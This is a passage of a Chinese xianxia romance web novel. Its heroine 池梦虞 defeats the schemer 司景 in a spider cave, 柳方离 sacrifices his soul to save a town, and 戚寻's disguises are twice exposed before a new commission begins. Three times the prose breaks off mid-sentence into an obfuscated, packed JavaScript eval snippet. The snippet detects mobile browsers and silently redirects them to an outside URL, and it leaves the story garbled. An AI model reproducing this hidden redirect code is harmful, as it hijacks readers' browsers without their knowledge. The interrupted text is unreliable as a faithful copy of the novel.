“他在骗你。”司景突然出现在母蛛的头上面,他持剑半蹲,阴冷道,“只要让灵力更强的人入阵,就可以把他换下来。” 所以这才是司景将池梦虞引过来的目的。 “原来如此。”池梦虞若有所思,一动不动地站在原地。 母蛛的口器缓缓蠕动,蛛丝猛然朝池梦虞袭来。 “小心!”戚寻并指上前正要挡开蛛丝,被司景一跃而起的一剑重重击退。 司景借法阵汲取的是柳方离的灵力,戚寻虽然术法多变,但灵力上不是司景的对手,被他几剑逼得闪身退了又退。 天青色的剑光凌空而至,李星月挥剑截住司景,司景挑了挑眉,剑刃上红光流转。 戚寻双手如电,并指结阵,金色透明尖柱不断从地面刺出,朝司景刺去。 两人默契无间的配合,牵制住司景。 在母蛛前,蛛丝往池梦虞身上缠绕,不断收紧,池梦虞如雪般的肌肤透着细微的寒光,她望着柳方离,竟一动不动地任由蛛丝越来越多地将她缠紧。 戚寻宽袖翻飞,竭力挡着司景的剑,大声喊道:“池梦虞!不要听他的,就算你入阵了,还是会被反噬,那些人的后果一样是被同化!” 池梦虞却像没有听见一样,半闭着眼睛,一动不动。 “池梦虞!”戚寻想朝她冲过去,司景一个闪身又挡在他面前,剑一挥,金色尖柱瞬间碎裂。 阿归从地上爬起来,手里拿着长刀,惊愣地看着打得看不清身影的三人。 缠满池梦虞全身的蛛丝缓缓流动着。 “阿归,你不是想救你的先生吗,那就给她一刀,让蛛丝进入她的血脉。”司景应对无瑕,阴狠出声道。 只要让池梦虞入阵,就能救下先生。 阿归拿着刀的双手在颤抖,红着眼望着柳方离,干枯的双腿出现了裂痕,他差不多要死。 这辈子,他能遇到先生,跟先生读书识字,那是他最开心的一段时光。 戚寻不得不拼着玉石俱焚的一招,猎猎金光火焰一般狂袭司景。 “快啊!你不想救先生吗!”司景五官狰狞用力,举着剑往后滑退。 “啊啊啊啊!”阿归握着刀,哑声大吼着朝池梦虞划去。 血并没有出现,阿归发疯一样,挥刀将缠着池梦虞的蛛丝割断,但蛛丝再生太快了,阿归不放弃,眼神坚定地一刀又一刀,企图以蚍蜉之力,把池梦虞从蛛丝中救下来。 蛛丝床中,柳方离微弱又安然地缓缓一笑。 “真傻。”也不知道说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836883|159090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是阿归还是柳方离,池梦虞睁开眼,绝美无伦的容貌平静如常,她低低说了一句:“这就是你入阵三年,神魂俱裂亦无悔的原因吗。” 没有等柳方离回答,池梦虞银瞳唰然一亮,周身的蛛丝千丝万缕齐齐断开! 夺过阿归手中的刀,池梦虞纵身只一刀,四溢的灵力如千万利刃,将司景劈得整个人往后直直摔砸在山壁上。 池梦虞白衣落在司景面前,自上而下地瞅着他,声音夹霜带雪:“我在等灵力冲破灵脉,你在等什么,等死吗。” 司景近乎半瘫地靠着山壁,嘴里不停地涌出血来,他不甘心地望着池梦虞,看出池梦虞持刀的手在轻微地颤抖,“呵呵,你的灵脉还没有恢复吧,我死了,母蛛会彻底发狂,你们一样会被这些蓝幽蛛撕碎。” 因为强行运转灵力,灵脉承受着撕裂般的剧痛,池梦虞面沉如水,道:“顶多恢复了一成,不然你现在连骨头渣滓都不剩。” 司景浑身的骨头也没剩几根好的,不受控地痉挛抖动,表情怪异地扭曲,眼中竟然有泪流出来,“我原本,原本是想,想阻止这一切,我不想,我的孩子一出生就……” 从法阵开始反噬,司景知道,不用多久法阵就会失控,在莫婉怀孕后,他日日夜夜看着妻子的肚子一点点变大。 如果不能阻止母蛛吞噬掉柳方离,他的孩子只要一出生,就会成为被蓝幽蛛吸血的行尸走肉。 这个还没出生的小生命,让他生了恻隐之心,他到藏雪楼写下委托。 即使他知道,阻止母蛛的方法只有杀死所有被蓝幽蛛附生的人,包括他自己。 但他想还孩子一个安宁如初的崖边小镇。 在发现池梦虞竟有如此高深的灵力,他又动了引池梦虞入阵的念头。 但死到临头的悔恨一分不值。 池梦虞刀刃一转,一刀刺穿他的腹部,将他钉在石壁上,鲜血温热沿着石壁流淌,趴在洞穴壁上的蓝幽蛛,吸血本能被吸引过来。 越来越多的蓝幽蛛,爬满司景全身,将他覆盖到完全看不到身体,不过一会儿,血被完全吸干而死。 然而预料中的母蛛发狂却没有发生,空旷的洞穴四壁,一只只蓝幽蛛,像下雨一样,不停地掉落下来。 池梦虞猛地转身,果然,蛛丝床中间,以柳方离为中心的蛛丝缓缓流淌着绿色的灵力光芒。 池梦虞纵身回到柳方离前面,抬手抓住蛛丝,愕然道:“方离,你要做什么?” “梦虞,这是最好的方法。”柳方离本就有治愈万物的神力,如今只有他用神魂的力量,将蓝幽蛛跟镇民之间的同化消除,让镇民恢复成凡人,才能救下整个镇。 “不,你快住手,你会神魂俱灭的!”池梦虞的心仿佛被绞紧。 上空越来越多的蓝幽蛛啪嗒啪嗒掉落到地上,缩成一团僵死。 母蛛发出一声凄厉的嘶鸣,徒劳地挥舞着蛛腿。 蛛丝变得透明,柳方离的身体越来越淡,神魂一点一点地像萤火浮到空中,又化成烟散开。 柳方离彻底消失前,只留下一句轻轻的。 “梦虞,替我回家。” 11. Double Kill 泪水从眼睫中挣脱而出,池梦虞望着蛛丝中央,眼一眨,探出手去。 那是一面深碧色,如同翡翠般的镜子,背面写着“庭芜”二字。 池梦虞将庭芜镜拿在手中,一些属于柳方离的记忆从镜子中映出来。 远芳学堂中,柳方离和阿归面对面坐在食案边,庭院中燕雀依偎在枝头。 柳方离帮阿归夹菜,问道:“阿归,你有什么志向吗?” 阿归脸庞干净,头发束成马尾,无忧无虑地问:“先生,什么是志向?” 柳方离思索了一下:“嗯就是想做什么?” 从小无父无母,乞讨为生的阿归从来没有想过这个问题,他吃着很香的米饭,咧着牙笑着说:“想一直陪着先生。” 洞穴里,阿归跪在柳方离身前,俯身叩首,一动不动没了气息。 他状如枯木的双腿,一点点地瓦解,随着空中柳方离的神魂一起消失。 镜子中的画面渐渐淡去,李星月一抽一抽地吸鼻子,愤愤道:“司景那家伙,让他死得太轻易了。” 池梦虞闭眼一探,庭芜镜上还存留着柳方离的一抹神魂,她这才浅浅地松了一口气,道:“我一定会带你回镜渊。” 每个镜渊之人,都有一面神魂之镜,只有镜不碎,魂便不散。 只要把庭芜镜带回镜渊,就有办法重聚柳方离的神魂,将他救回来。 洞穴里,除了池梦虞三人所站之处,四周全是蓝幽蛛的尸体,石壁上的石洞空幽幽的,从外面看,根本想不到,这么大一座山,是这幅千疮百孔的模样。 戚寻抬手纵了一把灵火,洞穴里燃烧起来,发出哔剥的脆裂声。 三人从山洞出来时,远处天光正泛白,瀑布声在宁静的清晨中格外响亮。 奇人镇里,被蓝幽蛛控住的镇民如梦初醒地清醒过来,恍然间不知今夕何夕。 镇民全都恢复成凡人,然而每个人的后颈上,留下来的两个血洞,昭示着他们曾经犯下的罪孽,无法抹去。 池梦虞回了一趟远芳学堂,将阿归的尸体葬在院子里。 久无人迹的学堂中,在日出晨光下仍有种散不去的萧索苍凉。 “还有个疑点。”池梦虞站在廊檐下,轻皱着眉心道:“既然阿归原先只是一个乞儿,又是凡人,他如何会的那首控制蓝幽蛛的曲子?” “那便是,有人教了他。”戚寻应道。 有奇人镇之外的人,助阿归复仇,那人的目的是什么。 如今阿归已经入土,而柳方离剩下的一抹神魂,不知需要在庭芜镜中修养多久才能醒过来。 他们也只能暂时作罢,先离开奇人镇,完成第一枚黄桐笺的委托。 * 三人下山刚出峡谷,便看到顾应湘站在马车边上,正等着他们。 “顾姐姐!”李星月背着剑,高高地抬着手挥动。 见戚寻在,顾应湘先是诧异,随后一脸了然,嫣然一笑道:“你们俩果然是一起行动。” 池梦虞兴致不高,也没有反驳,先上了马车。 戚寻站在马车外,一身嵌暗金枫叶的黑衣,袍袖飘逸如云卷云舒,他一向懒散,手里不爱拿东西,衣衫也喜穿深色的宽袍大袖,身姿挺拔,透着洒脱不羁的气质。 李星月上了马车,疑惑地看着戚寻还站在原地,问道:“大师兄,不一起走吗?” 先前是因奇人镇上凶险难测,戚寻可以有借口留在池梦虞身边,如今两人之间的关系,仍结霜三尺,他若上了马车,估计会被轰下来吧。 “不了。”戚寻望着马车,轻叹道:“你们先走吧。” 李星月不解地朝戚寻挤眉眨眼,意思是,大师兄,不是你说要追的,怎么这就放弃了,你这样会失去师嫂的。 戚寻面上岿然不动,宽袍下暗暗朝李星月用力摆手,示意她不要出声。 隔着窗帘,池梦虞微微颔首,像是没想到,戚寻会主动提出不再同行,过了好一会儿,她才清了清嗓音,道:“我们走吧。” 马车的车辙滚滚向前,戚寻抬眸就这么远远地望着,直到看不见马车。 “婉姑娘和孩子都平安无事,我在山下找了一户良善的人家托付,等她身子恢复了,就看她自己还愿不愿意回奇人镇生活。”顾应湘拿出一个雕着望春花的盒子,里面正是有驻颜奇效的碧华清,临别时莫婉交给她的。 “没事就好。”李星月见到碧华清,便想到为了整个小镇而神魂消散的柳方离,惆怅地轻叹。 听着两人交谈,池梦虞似乎有些心不在焉,一路上没怎么开口。 回到喧哗的阑州城,三人先到客栈吃饭,池梦虞依然选了个靠窗的位置。 正吃着,就见到门口一位天青色校服的剑宗弟子抬脚踏进来,开口便是:“小二,来一间最贵的上房。” 那人相貌俊秀,眉目间无不透着高傲和矜贵,一看便是锦衣玉食中长大的贵公子。 熟悉的声音让李星月一抬头,她愣一下,随即目瞪口呆地惊呼:“二师兄?!” 正是剑宗宗主原配之子戚若阳。 池梦虞背对着门口,蹙起眉尖,那道熟悉的梵音又在脑海中萦绕,喋喋不休地喊:“杀了戚寻。” 还未完全恢复的经脉隐隐作痛,池梦虞紧握拳头,转过头目光直直与戚若阳一对。 朝窗边的三人走来,戚若阳若无其事地昂首轻哼,眼神里全是对这间小客栈的挑剔嫌弃,整一幅飞扬跋扈的纨绔模样。 “二师兄你干嘛?你被夺舍了吗?”李星月莫名其妙地看着眼前这个跟平时判若两人的戚若阳。 没有配剑,天青色校服最外面的短马甲上,几抹金色枫叶极其显眼。 池梦虞薄唇轻抿,藏着笑意,端着茶杯道:“不是夺舍,是易容幻术。” 戚若阳睁大眼睛,似乎还要挣扎,故作霸道地抬手一拍桌子,朝李星月道:“师妹,一声招呼不打就消失这么长时间……” “别演了,戚寻。”池梦虞直接喊出他名字,抬手揪住他的马甲。 戚寻顶着戚若阳的脸,捂住马上要从肩膀掉下去的马甲。 李星月恍然,大笑出声,直言不讳道:“我就说二师兄他明明不是这样的。” 出师不利,戚寻颇感凄凉,心情很是复杂,在别人眼里,戚若阳明明就是这幅样子的啊,怎么在李星月这里一眼就被看破了。 “你多少配个剑,也不至于这么快被看穿啊。”李星月抬手挡住嘴边,压低声音给戚寻支招。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836884|159090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我突然想起,宗门门口风水池里面的那几条锦鲤还没喂,我先回去一趟,告辞!”戚寻信念坚定地一抱拳,闪身消失在门口。 “你们俩……”顾应湘状况外,好奇心又强,在她开口追根问底前,李星月一把拉住她的手腕,飞快道:“顾姐姐,你不是想去茶楼听书吗?我陪你去吧。” “我什么时候想去的。”顾应湘一愣一愣地,被李星月拉着起身。 “池姐姐,你伤还没好,先好好休息。”李星月挽着顾应湘的手臂,笑意朗朗地叮嘱池梦虞一声。 李星月想的是,给她大师兄制造机会,于是两人真的一路往城中专门说书的茶楼行去。 这家客栈有三层,是城中最大最好的客栈,池梦虞又叫了一盘桂花糕点,拿在手里端着,从客栈中间的楼梯往上走。 二楼的厢房房间小,但房钱也低。有李星月在,她们住的是三楼的上房,房间分内室和外室,舒适宽敞许多。 池梦虞刚踏上三楼,正巧一个人迎面而来,与她手肘交错,盘子里的桂花糕点险些被碰掉。 “小心。”那人伸手轻轻托着池梦虞的手背,声音就像淡淡的水面波纹,怀里抱持着一把桐木古琴,琴面上雕刻着月下竹林图。 池梦虞认得这把琴,琴名叫“幽篁”,而琴的主人是九转门六长老之一谢继书。 此人虽一脸病容,但眉目间霁月清风,削瘦高挑的身形如竹,倒是一幅仙风道骨的君子模样。 “耳闻池姑娘声名已久,不知在下可否有荣幸,结识姑娘。”谢继书微微退开,轻声缓言道。 池梦虞垂眸落在谢继书的腰间,三指宽的浅月色腰带上,绣着几抹金色枫叶。 “杀了戚寻。”脑海里那个声音,又喋喋不休地像针一样扎着她的太阳穴。 池梦虞没动,两人一时僵持在楼梯口。 “池姑娘?”谢继书神色自然地又轻唤一声。 “戚寻,你够了。”池梦虞自下而上地抬眸,毫不留情地开口,“你到底想做什么?” “……”谢继书往后退三步,又停住,抬手掩饰地咳了几声,似乎身体很是虚弱,他避开池梦虞的目光,道:“池姑娘在说什么?” 池梦虞上前两步,抬手扣住他的腰带,朝自己一拉,双目冷不丁地对视上,道:“你自己解了易容幻术,还是我来。” 两人的鼻息几乎交缠在一起,谢继书脸色苍白得像要晕过去,紧紧抓着自己的腰带,支吾着道:“大庭广众之下,姑娘此举不妥吧。” 还在演,池梦虞默然片刻,扯着他的腰带,把人拉进房间里,砰一声按到房门上。 幽篁琴被扔在一边,谢继书眼底闪过仓惶,不停地在思考到底是哪里露出了破绽。 池梦虞对谢继书此人并不熟悉,就算性格上有异样也不至于被看出来。 他甚至还带了一把琴! “既然你不解,那就我来。”池梦虞手指勾着腰带系起的结,正要一把拉开。 “姑娘难道就不担心,我是真的!”谢继书衣襟微散,气息不稳,最后挣扎着抬高声音道。 池梦虞蓦地一顿,眯起了眸子,勾着腰带的手指白皙如玉,不容拒绝地猛地一抬。 这人腰间的腰带随之散落。 12. 广安当铺(一) 绣着几抹金枫的腰带散落在地,易容幻术失效。 戚寻背靠着门板,现出原本那副宽袍博带的颀长身形,表情变得一言难尽。 空气沉凝静默良久,池梦虞往后退开几步,等着看他编什么。 戚寻从未像此刻这么,局促难安,他有必须留在池梦虞身边的原因,却又无法告诉池梦虞实情。 他微妙地挣扎了一下,问道:“怎么发现的?” 眼看着池梦虞皱了眉,眼尾挂了寒意,戚寻肩背一僵,微微丧气地垂首,负在身后的手指搓了搓,温温沉沉道:“我只是想着,陪你一同寻回月下剑,并无他意。” 池梦虞眼睫一颤,看向他。 “你的灵力暂无法自如地运转,多一人同行,少几分凶险。”戚寻摩挲着指弯,认真说道:“百家术法我皆略通一二,解决委托应当能帮上忙,让我同行可好?” 戚寻眉目带着很浅的笑,显得眸色明亮又恣意,他向来懒散,不喜拘束,年轻时候游离于世家之外,从来都是行迹无踪。 从结实了池梦虞后,两人不知觉间便并肩同行三年。 百年前的戚寻,或许还未起过利用池梦虞的那些念头,也未曾做过那些伤她体肤之事,只是她既已重生,便决意再不会对戚寻有半点念想。 可是戚寻说,多一人同行罢了,并无他意。 外间对着街市的轩窗敞开着,街上朝朝暮暮日复一日的人来人往,那三三两两为伴,平淡也欢喜,尘世烟火总是聚散无常。 窗外的声音似乎远了模糊了,池梦虞背着轩窗,与靠着门的戚寻对望,心倏地一跳,终只是开口道:“若我执意独行,你又会易容成什么人来靠近我?嗯?” 池梦虞向来果断,她既这么说,便是松口了。 被看穿心思,戚寻长长的眸子里却盛着笑意,眨了一下全落在池梦虞身上,承认道:“不过此番两次都被识破,我倒需先到禁阁,再好好修炼一下易容幻术。” “不用白费力气了。”池梦虞在桌边坐下,素衣飒飒,未运转灵力时眼眸有种琉璃般的清透感,薄唇微动道:“只要一靠近,我就能知道是你。” 戚寻神色闪过诧异,问道:“为何?” 虽说池梦虞知道易容幻术有本体破绽,而且这两次都被揪了个正着,但若是他再加修炼,将金枫本体藏在不易察觉的地方,池梦虞又如何能识破。 “自重生之后,只要你出现,我就会听到一句话。”池梦虞朝戚寻侧过脸,道:“让我杀了你。” 戚寻闻言乍然抬眸,道:“所以那日,你并不是真心要杀我?” 池梦虞点了点头,最先听到这话时刚重生回来,她神识一时混沌,才会被摄控住心神,掀了盖头,一剑奔着取戚寻的性命而去。 这是戚寻没有意料到的,他迟疑着上前,与池梦虞隔着距离,问道:“我可以探一下吗?” “不用,应当是一种咒术,只要我清醒的时候,可以压得住。”池梦虞屈指敲了敲桌面,不咸不淡道,“既然同行,便告知你一声。” 她的意思是,让戚寻不要在她睡着或者意识不清时靠近,很容易没命。 戚寻默默地收回手,心里却疑虑更深,以仙门中修士的修为而言,应当没有能给池梦虞下咒之人。 而且自重生回来,他几乎同池梦虞在一处,那人哪里来的机会? “那为何我易容成司景时,你没有拆穿我?”戚寻眸光一动,对池梦虞来说,前两次易容成李星月和卢昱桐露出的破绽,就足够她找出问题了。 先前也想过这个问题,池梦虞默然半响,思忖道:“你易容成司景时,我们是在藏雪楼中见的面,应当是藏雪楼的问题?” 戚寻先前就觉得藏雪楼甚是古怪,两人对视一眼,池梦虞指尖一勾将怀里的黄桐笺拿在手里,款款起身。 既如此,正好再去藏雪楼取下一枚黄桐笺,早日将月下剑拿到手,她也不用每次运转灵力都那么大动静。 * 进藏雪楼时,戚寻背着手,想在楼中设个阵眼,果不其然,不止灵力无法运转,连阵法也完全无效。 所以包括池梦虞神识中的咒术,也没有奏效,池梦虞之前才会对司景放下疑心。 二楼的厢房里有人在,楼主祝无忧正在接待委托人。 偌大的藏雪楼里,除了楼主之外,竟没有其他任何侍从。 池梦虞和戚寻在大堂等了近一炷香的时间,便见到祝无忧从厢房中飘飘悠悠地出来,直接从二楼走廊落到大堂中来,歉意道:“二位久等了。” 而紧随其后,一位身形削瘦高挑的公子背着一把古琴,从楼梯走下来。 他虽病容苍白,却仍是一幅霁月清风的好相貌,正是九转门谢继书。 谢继书掩嘴轻咳,看起来极其虚弱,他走到池梦虞面前,抱拳柔声道:“耳闻池姑娘声名已久,不知在下可否有荣幸,结识姑娘。” 池梦虞:“……” 戚寻:“……” 戚寻顿感心下一片凉嗖嗖,如果他说,这真的只是巧合,池梦虞会信吗。 见池梦虞没应声,谢继书忙补充道:“唐突了,在下九转门谢继书。” 池梦虞神色变得更加一言难尽,过了一会儿才冰释般露出笑,回道:“我知道。” “咳——”谢继书这下咳得更厉害了,一声一声像是要把肺咳出来。 祝无忧手里拎着谢继书刚写完的桐笺,飘着往木墙上方刚挂上去,那是一枚黄色桐笺,随后便听见池梦虞开口:“既然谢公子有意结实,那谢公子的委托,我接下了。” “这……这恐怕不妥吧。”谢继书的脸色莫名透出几分红,温声劝止道。 “池姑娘确定吗?”祝无忧飘在半空,左看右看。 九转门作为三宗之一,能让九转门长老至藏雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836885|159090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼中提出委托,当是不小的麻烦事,不过对池梦虞来说,能算得上麻烦的事并不多。 “是。”见池梦虞点了点头,祝无忧又飘回去把刚挂上去的桐笺取下来。 直到将桐笺拿在手里,池梦虞身形一僵,茫然愣了片刻。 那上面写着,谢继书因天生体弱多病,血脉不足,想寻一位有缘分的道侣,双修炼体。 简单来说,就是想找个炉鼎。 而桐笺下方,挂着一个纯金镯子。 谢继书在一旁满脸笑容,补充道:“这是我娘留给我的。” 池梦虞还没开口,身后的戚寻先把桐笺拿过去,拍回谢继书怀里,道:“确实非常不妥。” “……”池梦虞蜷了蜷指尖,用极为轻幽的声音说道:“藏雪楼如今委托可真是无所不有哈。” 连征寻道侣都能往上挂! 祝无忧不以为然,笼着手一脸高深莫测,道:“池姑娘亲口确认接下此委托的。” 池梦虞垂眸,抿了唇,低声道:“换一个。” 谢继书倒没真以为池梦虞会接这种委托,只将委托重新交回给祝无忧。 重新拿了一个委托到手,虽是查探邪崇之事,但委托人是个凡人,广安当铺掌柜周茂无。 显然池梦虞对这个到藏雪楼挂征寻道侣委托的谢继书毫无好感,出了藏雪楼,便与他辞别。 去广安当铺前,池梦虞与戚寻先回了一趟客栈。 因为这个委托看着只是寻常抓邪崇之事,李星月便提议,干脆兵分两路,她和顾应湘一起,再去取一个黄桐笺,完成后藏雪楼汇合。 这样下次就能直接去探月下剑的委托。 戚寻默默地给李星月一个赞赏笑意,池梦虞思索一番,李星月和她都是剑修,而顾应湘和戚寻均擅长阵法。 兵分两路的话,确实应该一剑一阵,她如今灵力运转即失控,和戚寻会更合适。 于是,池梦虞又与戚寻二人并肩同行。 正值白日街市最热闹的时候,池梦虞眉目清冷似是漠然,但因为长得好看,一路上不少呦喝卖货的摊主出声招呼她。 凡人的一天很简单,在街市上摆摊谋些铜板,从早到晚便是一日。 池梦虞总是会笑着点头去回应那些无差别的招呼,或驻足停留,一路闲适地逛着,边打听广安当铺的位置。 当铺隐于街市之后,前方还是喧哗热闹的声音,拐进巷子里,走了一段,抬头便能看到一棵亭亭如盖的参天榕树,需两人环抱的树干长在一处宅子的墙角里。 从这榕树的年份来看,应当是宅子后来建的,不想砍了老树,便以树干为墙角,砌了宅院。 宅子主人应当对榕树很是照养,枝繁叶茂地几乎荫庇着半个宅子。 池梦虞与戚寻绕过古树,抬头便看见,榕树根须垂落之下,露出的门楣匾额,刻着几个金边字体,正是“广安当铺”。